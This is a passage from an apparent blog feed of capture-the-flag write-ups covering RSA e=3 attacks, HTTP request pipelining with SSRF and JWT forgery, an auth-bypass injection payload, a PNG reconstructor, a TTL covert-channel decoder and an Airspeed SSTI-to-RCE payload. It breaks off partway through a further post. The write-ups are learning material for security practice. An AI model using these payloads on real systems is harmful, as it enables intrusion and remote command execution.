&lt;li&gt;Exponent e = 3&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;With scramble=0: C = (F + r)^3 mod N&lt;/p&gt;
&lt;p&gt;Since (F+r)^3 ~ 2^2496 and r is very small compared to F, the integer quotient k (how many times it wraps around N) remains &lt;strong&gt;constant&lt;/strong&gt; for all messages!&lt;/p&gt;
&lt;h2&gt;Linearization Attack&lt;/h2&gt;
&lt;p&gt;Taking two ciphertexts C1 and C2 with random nonces r1 and r2:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DC = C1 - C2 = (F+r1)^3 - (F+r2)^3 ~ 3F^2(r1 - r2)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The difference between ciphertexts is &lt;strong&gt;linearly proportional&lt;/strong&gt; to the difference between nonces!&lt;/p&gt;
&lt;h2&gt;Attack Strategy&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Collect Samples:&lt;/strong&gt; Request 3 ciphertexts with scramble=0&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Calculate Differences:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;D1 = C1 - C2 ~ 3F^2(r1 - r2)&lt;/li&gt;
&lt;li&gt;D2 = C2 - C3 ~ 3F^2(r2 - r3)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Eliminate Unknown:&lt;/strong&gt; D1/D2 ~ (r1 - r2)/(r2 - r3)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Recover Nonces:&lt;/strong&gt; Use &lt;strong&gt;Continued Fractions&lt;/strong&gt; on D1/D2 to find integer nonce differences&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Solve for Flag:&lt;/strong&gt; Slope = D1/Dr ~ 3F^2, then F ~ sqrt(Slope/3)&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Solution Script&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
from Crypto.Util.number import long_to_bytes
import math

def get_rational_approximation(num, den):
    convergents = []
    x_num, x_den = abs(num), abs(den)
    p_2, q_2 = 0, 1
    p_1, q_1 = 1, 0

    while x_den != 0:
        a = x_num // x_den
        p = a * p_1 + p_2
        q = a * q_1 + q_2
        if q.bit_length() &amp;gt; 265:
            break
        convergents.append((p, q))
        x_num, x_den = x_den, x_num % x_den
        p_2, q_2 = p_1, q_1
        p_1, q_1 = p, q
    return convergents[-1] if convergents else (0, 1)

r = remote(&apos;amt.rs&apos;, 45157)
# Parse n,e and collect 3 samples...
# ... (connection code)

diffs = [ciphertexts[i+1] - ciphertexts[i] for i in range(2)]
dr1, dr2 = get_rational_approximation(diffs[0], diffs[1])
slope = abs(diffs[0]) // abs(dr1)
F = math.isqrt(slope // 3)
flag_int = F &amp;gt;&amp;gt; 256
print(long_to_bytes(flag_int).decode())
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;amateursCTF{n0_th3_fl4g_1s_n0T_th3_Same_1f_y0U_w3r3_w0ndeRing_533e72a10}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Addition</title><link>https://daryx.vercel.app/posts/amateurctf-2025-addition/</link><guid isPermaLink="true">https://daryx.vercel.app/posts/amateurctf-2025-addition/</guid><description>RSA with e=3 and additive relation - Franklin-Reiter related-message attack</description><pubDate>Wed, 22 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;it does addition&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;330 pts / 17 solves&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Challenge Overview&lt;/h2&gt;
&lt;p&gt;The server provides RSA with e=3 and an additive relation between encryptions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The secret flag is encoded as an integer F&lt;/li&gt;
&lt;li&gt;The server computes: c_s = (F + s)^3 mod n&lt;/li&gt;
&lt;li&gt;We control s&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This matches the &lt;strong&gt;Franklin-Reiter related-message attack&lt;/strong&gt; on RSA with e=3.&lt;/p&gt;
&lt;h2&gt;Crypto Background: Franklin-Reiter (e = 3)&lt;/h2&gt;
&lt;p&gt;For two related plaintexts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;C1 = M^3 mod n&lt;/li&gt;
&lt;li&gt;C2 = (M + S)^3 mod n&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;With known S, there&apos;s a closed-form solution:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;M = S * (2C1 + C2 - S^3) * (C2 - C1 + 2S^3)^-1 (mod n)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Attack Plan&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Query with s=0 - candidates for C1&lt;/li&gt;
&lt;li&gt;Query with s=1 - candidates for C2&lt;/li&gt;
&lt;li&gt;Brute-force all (c1, c2) pairs&lt;/li&gt;
&lt;li&gt;For each candidate m, check if pow(m, 3, n) == c1&lt;/li&gt;
&lt;li&gt;If valid, extract the flag from m&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Exploit Script&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
from Crypto.Util.number import inverse, long_to_bytes
import ast

def solve_franklin_reiter(c1, c2, s, n):
    try:
        num = s * (2 * c1 + c2 - s**3)
        den = c2 - c1 + 2 * s**3
        den_inv = inverse(den, n)
        return (num * den_inv) % n
    except ValueError:
        return None

r = remote(&apos;amt.rs&apos;, 42963)
line = r.recvline().decode().strip()
n, e = ast.literal_eval(line.split(&apos;=&apos;)[1].strip())

c_zeroes, c_ones = [], []
for _ in range(400):
    r.sendlineafter(b&apos;scramble the flag: &apos;, b&apos;0&apos;)
    r.recvline()
    c_zeroes.append(int(r.recvline().decode().split(&apos;=&apos;)[1]))

    r.sendlineafter(b&apos;scramble the flag: &apos;, b&apos;1&apos;)
    r.recvline()
    c_ones.append(int(r.recvline().decode().split(&apos;=&apos;)[1]))

r.close()

for c1 in c_zeroes:
    for c2 in c_ones:
        m = solve_franklin_reiter(c1, c2, 1, n)
        if m and pow(m, 3, n) == c1:
            flag_long = m &amp;gt;&amp;gt; 256
            print(long_to_bytes(flag_long, 72).rstrip(b&apos;\x00&apos;).decode())
            exit()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;amateursCTF{1_h0p3_you_didnT_qU3ry_Th3_s3RVer_100k_tim3s_1b9490c255fe83}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Snake</title><link>https://daryx.vercel.app/posts/amateurctf-2025-snake/</link><guid isPermaLink="true">https://daryx.vercel.app/posts/amateurctf-2025-snake/</guid><description>Authentication bypass via backslash injection</description><pubDate>Wed, 22 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;lets play some snake&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;309 pts / 20 solves&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Step 1: Connect&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;nc amt.rs 34411
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Step 2: Register an Account&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;When prompted, type &lt;code&gt;register&lt;/code&gt; and press Enter.&lt;/li&gt;
&lt;li&gt;The system will give you a UID (e.g., &lt;code&gt;9457385429662&lt;/code&gt;). &lt;strong&gt;Copy this number.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;For the Password, type &lt;code&gt;pass&lt;/code&gt; and press Enter.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;You are now logged in as a normal user. We need to log out first to perform the injection.&lt;/p&gt;
&lt;h2&gt;Step 3: Log Out&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Type &lt;code&gt;settings&lt;/code&gt; and press Enter.&lt;/li&gt;
&lt;li&gt;Type &lt;code&gt;logout&lt;/code&gt; and press Enter.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Step 4: Malicious Login (The Injection)&lt;/h2&gt;
&lt;p&gt;This is the critical part. We use the backslash &lt;code&gt;\&lt;/code&gt; to trick the system into accepting spaces in the UID variable.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Type &lt;code&gt;login&lt;/code&gt; and press Enter.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At the &lt;code&gt;UID:&lt;/code&gt; prompt, do exactly this:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Type your UID followed by a space and a backslash: &lt;code&gt;[YOUR_UID] \&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Press Enter.&lt;/li&gt;
&lt;li&gt;Type this exact payload: &lt;code&gt;pass data/d;1d;data/#&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Press Enter.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Example Input&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;UID: 9457385429662 \
pass data/d;1d;data/#
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Result&lt;/h2&gt;
&lt;p&gt;The injection bypasses the authentication and reveals the flag!&lt;/p&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;amateursCTF{y0u_ar3_th3_r3al_w1nn3r_0f_sn4k3}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Pipeline</title><link>https://daryx.vercel.app/posts/akasec-2025-pipeline/</link><guid isPermaLink="true">https://daryx.vercel.app/posts/akasec-2025-pipeline/</guid><description>HTTP Request Pipelining to smuggle requests, extract JWKS, forge admin JWT</description><pubDate>Mon, 20 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Challenge Overview&lt;/h2&gt;
&lt;p&gt;The challenge presents a Node.js application with three main components:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A reverse proxy that filters dangerous requests&lt;/li&gt;
&lt;li&gt;A main application with protected endpoints&lt;/li&gt;
&lt;li&gt;An internal JWKS server&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The goal is to obtain a flag from &lt;code&gt;/admin/flag&lt;/code&gt;, which requires admin authentication.&lt;/p&gt;
&lt;h2&gt;Architecture&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;┌─────────────────┐
│   Port 8082     │
│  Reverse Proxy  │  ← External access
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│   Port 3000     │
│  Main App       │  ← Internal only
│  - /admin/flag  │
│  - /debug/fetch │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│   Port 5000     │
│  JWKS Server    │  ← Localhost only
└─────────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Vulnerabilities Identified&lt;/h2&gt;
&lt;h3&gt;1. HTTP Request Pipelining&lt;/h3&gt;
&lt;p&gt;The proxy&apos;s &lt;code&gt;parseHeaders()&lt;/code&gt; function only parses the first request but forwards the &lt;strong&gt;entire buffer&lt;/strong&gt; to the backend. We can smuggle requests!&lt;/p&gt;
&lt;h3&gt;2. JWT Algorithm Confusion&lt;/h3&gt;
&lt;p&gt;The app accepts both RS256 (asymmetric) and HS256 (symmetric). The HMAC secret is the &lt;code&gt;n&lt;/code&gt; field from JWKS:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const hmacSecret = (data.keys[0].n || &apos;&apos;).toString();
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. SSRF via /debug/fetch&lt;/h3&gt;
&lt;p&gt;Can read internal services like the JWKS server on port 5000.&lt;/p&gt;
&lt;h2&gt;Exploitation Chain&lt;/h2&gt;
&lt;h3&gt;Step 1: Bypass Proxy with HTTP Pipelining&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# First request: Harmless, passes proxy check
request1 = &quot;GET / HTTP/1.1\r\nHost: app\r\n\r\n&quot;

# Second request: Smuggled /debug request
request2 = &quot;GET /debug/fetch?url=http://localhost:5000/.well-known/jwks.json HTTP/1.1\r\nHost: app\r\nX-Forwarded-For: 127.0.0.1\r\n\r\n&quot;

# Send both in one packet
sock.sendall((request1 + request2).encode())
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 2: Extract JWKS via SSRF&lt;/h3&gt;
&lt;p&gt;The smuggled request fetches the JWKS, revealing the HMAC secret in the &lt;code&gt;n&lt;/code&gt; field.&lt;/p&gt;
&lt;h3&gt;Step 3: Forge Admin JWT&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import jwt
payload = {&apos;role&apos;: &apos;admin&apos;, &apos;user&apos;: &apos;attacker&apos;}
token = jwt.encode(payload, &apos;secret-from-jwks-n-field&apos;, algorithm=&apos;HS256&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 4: Retrieve the Flag&lt;/h3&gt;
&lt;p&gt;Pipeline another request with the forged JWT to &lt;code&gt;/admin/flag&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;AKASEC{MzAha_MN_Qb1lA_9ad_H4d_xi}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Summary&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;The proxy only validates the FIRST request in a pipelined sequence&lt;/li&gt;
&lt;li&gt;But it forwards ALL requests to the backend&lt;/li&gt;
&lt;li&gt;Extract HMAC secret from JWKS endpoint via SSRF&lt;/li&gt;
&lt;li&gt;Forge HS256 JWT with role=admin&lt;/li&gt;
&lt;li&gt;Pipeline again with forged JWT to get the flag!&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>Shredder</title><link>https://daryx.vercel.app/posts/buckeyectf-2025-shredder/</link><guid isPermaLink="true">https://daryx.vercel.app/posts/buckeyectf-2025-shredder/</guid><description>Reconstructing a shredded PNG file using CRC validation and DFS</description><pubDate>Sat, 18 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;Always remember to shred your documents before throwing them out! In case you don&apos;t have a document shredder, you can use mine! I even attached an example shredded document to show that it&apos;s impossible to recover the original!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;379 pts / 55 solves&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Initial Analysis&lt;/h2&gt;
&lt;p&gt;We were given a C source file &lt;code&gt;shredder.c&lt;/code&gt; and a shredded file &lt;code&gt;document.png.shredded&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Reading the C code revealed the shredding algorithm:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Reads an input file (the original PNG)&lt;/li&gt;
&lt;li&gt;Divides it into N equal chunks&lt;/li&gt;
&lt;li&gt;Randomly shuffles these chunks using &lt;code&gt;rand()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Writes them sequentially into a new file (&lt;code&gt;*.shredded&lt;/code&gt;)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The file still contains all the original data, just in the wrong order!&lt;/p&gt;
&lt;h2&gt;Solution Strategy&lt;/h2&gt;
&lt;p&gt;PNG files have a strict internal structure with CRCs that can be validated. The plan:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Try every reasonable number of chunks (from 2 to 50)&lt;/li&gt;
&lt;li&gt;Split the shredded file evenly&lt;/li&gt;
&lt;li&gt;Identify the chunk that starts with the PNG header&lt;/li&gt;
&lt;li&gt;Recursively build possible orders using DFS&lt;/li&gt;
&lt;li&gt;Validate each combination using PNG CRCs to prune incorrect paths&lt;/li&gt;
&lt;li&gt;Stop once a valid PNG ending in IEND is found&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Reconstructor Script&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
import sys
import zlib

PNG_SIG = b&apos;\x89PNG\r\n\x1a\n&apos;
MAX_N = 50

def parse_png_chunks(bs):
    pos = 8  # after signature
    while pos + 8 &amp;lt;= len(bs):
        length = int.from_bytes(bs[pos:pos+4], &apos;big&apos;)
        ctype = bs[pos+4:pos+8]
        total = 4 + 4 + length + 4
        if pos + total &amp;gt; len(bs):
            raise ValueError(&quot;truncated chunk&quot;)
        data = bs[pos+8:pos+8+length]
        crc_read = int.from_bytes(bs[pos+8+length:pos+8+length+4], &apos;big&apos;)
        crc_calc = zlib.crc32(ctype + data) &amp;amp; 0xffffffff
        if crc_calc != crc_read:
            raise ValueError(&quot;CRC mismatch&quot;)
        pos += total
        if ctype == b&apos;IEND&apos;:
            return True
    raise ValueError(&quot;no IEND found&quot;)

def check_partial_png(bs):
    if not bs.startswith(PNG_SIG):
        return False
    pos = 8
    while True:
        if pos + 8 &amp;gt; len(bs):
            return True
        length = int.from_bytes(bs[pos:pos+4], &apos;big&apos;)
        ctype = bs[pos+4:pos+8]
        total = 4 + 4 + length + 4
        if pos + total &amp;gt; len(bs):
            return True
        data = bs[pos+8:pos+8+length]
        crc_read = int.from_bytes(bs[pos+8+length:pos+8+length+4], &apos;big&apos;)
        crc_calc = zlib.crc32(ctype + data) &amp;amp; 0xffffffff
        if crc_calc != crc_read:
            return False
        pos += total
        if ctype == b&apos;IEND&apos;:
            return pos == len(bs)

def dfs(chunks, used, order, n):
    if len(order) == n:
        candidate = b&apos;&apos;.join(chunks[i] for i in order)
        try:
            parse_png_chunks(candidate)
            return candidate
        except:
            return None

    prefix = b&apos;&apos;.join(chunks[i] for i in order)
    if not check_partial_png(prefix):
        return None

    for i in range(n):
        if used[i]:
            continue
        used[i] = True
        order.append(i)
        result = dfs(chunks, used, order, n)
        if result:
            return result
        order.pop()
        used[i] = False
    return None

def main():
    fname = sys.argv[1]
    data = open(fname, &apos;rb&apos;).read()
    fsize = len(data)
    print(f&quot;File size: {fsize} bytes&quot;)

    for n in range(2, MAX_N+1):
        if fsize % n != 0:
            continue
        chunk_size = fsize // n
        chunks = [data[i*chunk_size:(i+1)*chunk_size] for i in range(n)]
        start_candidates = [i for i, c in enumerate(chunks) if c.startswith(PNG_SIG)]
        for start in start_candidates:
            used = [False]*n
            used[start] = True
            order = [start]
            print(f&quot;Trying n={n}, start={start}...&quot;)
            result = dfs(chunks, used, order, n)
            if result:
                with open(&quot;recovered.png&quot;, &quot;wb&quot;) as f:
                    f.write(result)
                print(&quot;SUCCESS: Reconstructed image saved as recovered.png&quot;)
                return
    print(&quot;Failed to reconstruct&quot;)

if __name__ == &apos;__main__&apos;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Result&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;$ python3 recover_png.py document.png.shredded
SUCCESS: recovered PNG written to recovered.png
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Opening the recovered image revealed the Ohio flag with the flag text printed across it.&lt;/p&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;bctf{TODO_shr3d_th1s_1MM3D1AT3LY}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>We Go Gym</title><link>https://daryx.vercel.app/posts/patriotctf-2025-we-go-gym/</link><guid isPermaLink="true">https://daryx.vercel.app/posts/patriotctf-2025-we-go-gym/</guid><description>Network Forensics - TTL Covert Channel Data Exfiltration</description><pubDate>Wed, 15 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;Our gym IT staff noticed some weird traffic going through on our local network. Do you think you can investigate and find out what information was sent?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Initial Analysis&lt;/h2&gt;
&lt;p&gt;We are provided with a PCAP file (&lt;code&gt;wegogym.pcap&lt;/code&gt;). Opening the file in Wireshark or analyzing it with Scapy reveals a mix of TCP traffic, specifically HTTP requests.&lt;/p&gt;
&lt;p&gt;A quick look at the HTTP traffic shows two distinct patterns:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Noise Traffic:&lt;/strong&gt; Multiple requests for files like &lt;code&gt;noise16.txt&lt;/code&gt;, &lt;code&gt;noise40.txt&lt;/code&gt;, etc. The User-Agent for these is a standard Mozilla Linux string.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Suspicious Traffic:&lt;/strong&gt; Repeated requests for the root path &lt;code&gt;/&lt;/code&gt; sent to sequential ports (&lt;code&gt;40000&lt;/code&gt;, &lt;code&gt;40001&lt;/code&gt;, &lt;code&gt;40002&lt;/code&gt;...). The User-Agent for these requests is simply &lt;code&gt;CURL&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The prompt mentions &quot;User-Age,&quot; which is a pun on &lt;strong&gt;User-Agent&lt;/strong&gt; and &lt;strong&gt;Age&lt;/strong&gt; (Time). In networking, the only field related to &quot;Time&quot; or &quot;Age&quot; at the IP layer is &lt;strong&gt;TTL (Time To Live)&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;The Anomaly&lt;/h2&gt;
&lt;p&gt;Filtering for the suspicious &lt;code&gt;CURL&lt;/code&gt; packets reveals that the &lt;strong&gt;IP TTL&lt;/strong&gt; values are erratic.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Normal traffic usually has a constant TTL (e.g., 64, 128) that decrements by 1 per hop.&lt;/li&gt;
&lt;li&gt;In this capture, the TTLs for the &lt;code&gt;CURL&lt;/code&gt; packets jump wildly (e.g., 80, 67, 84, 70...).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This confirms the existence of a &lt;strong&gt;Covert Channel&lt;/strong&gt;: The attacker is manually setting the TTL field of each packet to an ASCII value to hide data.&lt;/p&gt;
&lt;h2&gt;Solution Strategy&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Filter:&lt;/strong&gt; Isolate packets that have the &lt;code&gt;User-Agent: CURL&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Extract:&lt;/strong&gt; Read the IP TTL value from these packets.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Decode:&lt;/strong&gt; Convert the integer TTL values to ASCII characters (&lt;code&gt;chr(ttl)&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Assemble:&lt;/strong&gt; Join the characters to reveal the flag.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Python Solution Script&lt;/h2&gt;
&lt;p&gt;This script uses &lt;code&gt;scapy&lt;/code&gt; to parse the PCAP, filter for the specific User-Agent, and decode the TTLs.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from scapy.all import rdpcap, IP, TCP, Raw

def solve_wegogym(pcap_file):
    print(f&quot;[*] Analyzing {pcap_file}...&quot;)
    try:
        packets = rdpcap(pcap_file)
    except Exception as e:
        print(f&quot;[!] Error reading pcap: {e}&quot;)
        return

    # Sort packets by time to ensure the flag is in order
    packets.sort(key=lambda x: x.time)

    flag_chars = []

    for p in packets:
        # We need IP (for TTL), TCP (for ports), and Raw (for HTTP payload)
        if p.haslayer(IP) and p.haslayer(TCP) and p.haslayer(Raw):
            try:
                payload = p[Raw].load.decode(&apos;utf-8&apos;, errors=&apos;ignore&apos;)

                # Filter for the suspicious &quot;CURL&quot; User-Agent
                if &quot;User-Agent: CURL&quot; in payload:
                    ttl_val = p[IP].ttl
                    char = chr(ttl_val)
                    flag_chars.append(char)
            except Exception as e:
                pass

    flag = &quot;&quot;.join(flag_chars)
    print(f&quot;\n[+] Flag Found: {flag}&quot;)

if __name__ == &quot;__main__&quot;:
    solve_wegogym(&quot;wegogym.pcap&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Execution Output&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;[*] Analyzing wegogym.pcap...

[+] Flag Found: PCTF{t1m3_t0_g37_5w01}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;PCTF{t1m3_t0_g37_5w01}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Lessons Learned&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;TTL fields can be used as covert channels to exfiltrate data&lt;/li&gt;
&lt;li&gt;Always look for anomalies in packet headers, not just payloads&lt;/li&gt;
&lt;li&gt;Scapy is an excellent tool for packet analysis and extraction&lt;/li&gt;
&lt;li&gt;Challenge names and descriptions often contain hints about the solution&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>AirSpeed</title><link>https://daryx.vercel.app/posts/qnqsec-2025-airspeed/</link><guid isPermaLink="true">https://daryx.vercel.app/posts/qnqsec-2025-airspeed/</guid><description>HTTP Parsing Discrepancy + Airspeed SSTI to RCE</description><pubDate>Sun, 12 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Challenge Overview&lt;/h2&gt;
&lt;p&gt;This challenge provided us with a Flask web application setup including docker-compose.yml, nginx.conf, and application source code. The goal is to find and read the flag from the server.&lt;/p&gt;
&lt;h2&gt;Initial Reconnaissance&lt;/h2&gt;
&lt;h3&gt;Analyzing the Nginx Configuration&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;location = /debug {
    deny all;
    return 403;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;/debug&lt;/code&gt; endpoint is blocked at the nginx level.&lt;/p&gt;
&lt;h3&gt;Source Code Review&lt;/h3&gt;
&lt;p&gt;The app uses the &lt;code&gt;airspeed&lt;/code&gt; template engine (Python implementation of Apache Velocity).&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@app.route(&apos;/debug&apos;, methods=[&apos;POST&apos;])
def debug():
    name = request.json.get(&apos;name&apos;, &apos;World&apos;)
    return airspeed.Template(f&quot;Hello, {name}&quot;).merge({})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;User input is directly embedded into the template string - classic SSTI vulnerability!&lt;/p&gt;
&lt;h2&gt;Vulnerability Analysis&lt;/h2&gt;
&lt;h3&gt;The Access Control Issue&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Nginx layer:&lt;/strong&gt; Blocks &lt;code&gt;/debug&lt;/code&gt; endpoint -&amp;gt; Returns 403&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Flask layer:&lt;/strong&gt; Has no restrictions on &lt;code&gt;/debug&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding the HTTP Parsing Discrepancy&lt;/h3&gt;
&lt;p&gt;Testing various byte values revealed that byte &lt;code&gt;\x85&lt;/code&gt; creates a parsing discrepancy:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Nginx perspective:&lt;/strong&gt; &lt;code&gt;/debug\x85&lt;/code&gt; != &lt;code&gt;/debug&lt;/code&gt; -&amp;gt; Allows through&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Flask perspective:&lt;/strong&gt; &lt;code&gt;/debug\x85&lt;/code&gt; = &lt;code&gt;/debug&lt;/code&gt; -&amp;gt; Routes to debug endpoint&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Exploitation&lt;/h2&gt;
&lt;h3&gt;Server-Side Template Injection (SSTI)&lt;/h3&gt;
&lt;p&gt;Payload test: &lt;code&gt;#set( $foo = 7*7 )\n$foo&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HTTP/1.1 200 OK
Hello, 49
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Achieving RCE&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;jinja2.utils.Cycler&lt;/code&gt; class gives access to &lt;code&gt;os.popen()&lt;/code&gt; through &lt;code&gt;__init__.__globals__&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
    &quot;name&quot;: &quot;#set($x=&apos;&apos;)\n#set($cycler=$x.__class__.__mro__[1].__subclasses__()[479])\n#set($init=$cycler.__init__)\n#set($globals=$init.__globals__)\n#set($os=$globals.os)\n#set($popen=$os.popen(&apos;/readflag&apos;))\n$popen.read()&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;QnQSec{n0w_th1s_1s_th3_r34l_f14g}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Key Takeaways&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;HTTP parsing discrepancies between different web servers can create bypass opportunities&lt;/li&gt;
&lt;li&gt;Access controls should be implemented at multiple layers&lt;/li&gt;
&lt;li&gt;Never directly embed user input into template strings&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Easy Web</title><link>https://daryx.vercel.app/posts/qnqsec-2025-easy-web/</link><guid isPermaLink="true">https://daryx.vercel.app/posts/qnqsec-2025-easy-web/</guid><description>IDOR vulnerability leading to command injection</description><pubDate>Sun, 12 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Reconnaissance&lt;/h2&gt;
&lt;h3&gt;Analyzing the Dockerfile&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;RUN mkdir -p /app/.hidden &amp;amp;&amp;amp; \
    mv /app/flag.txt /app/.hidden/flag-$(cat /dev/urandom | tr -dc &apos;a-zA-Z0-9&apos; | fold -w 32 | head -n 1).txt
&lt;/code&gt;&lt;/pre&gt;
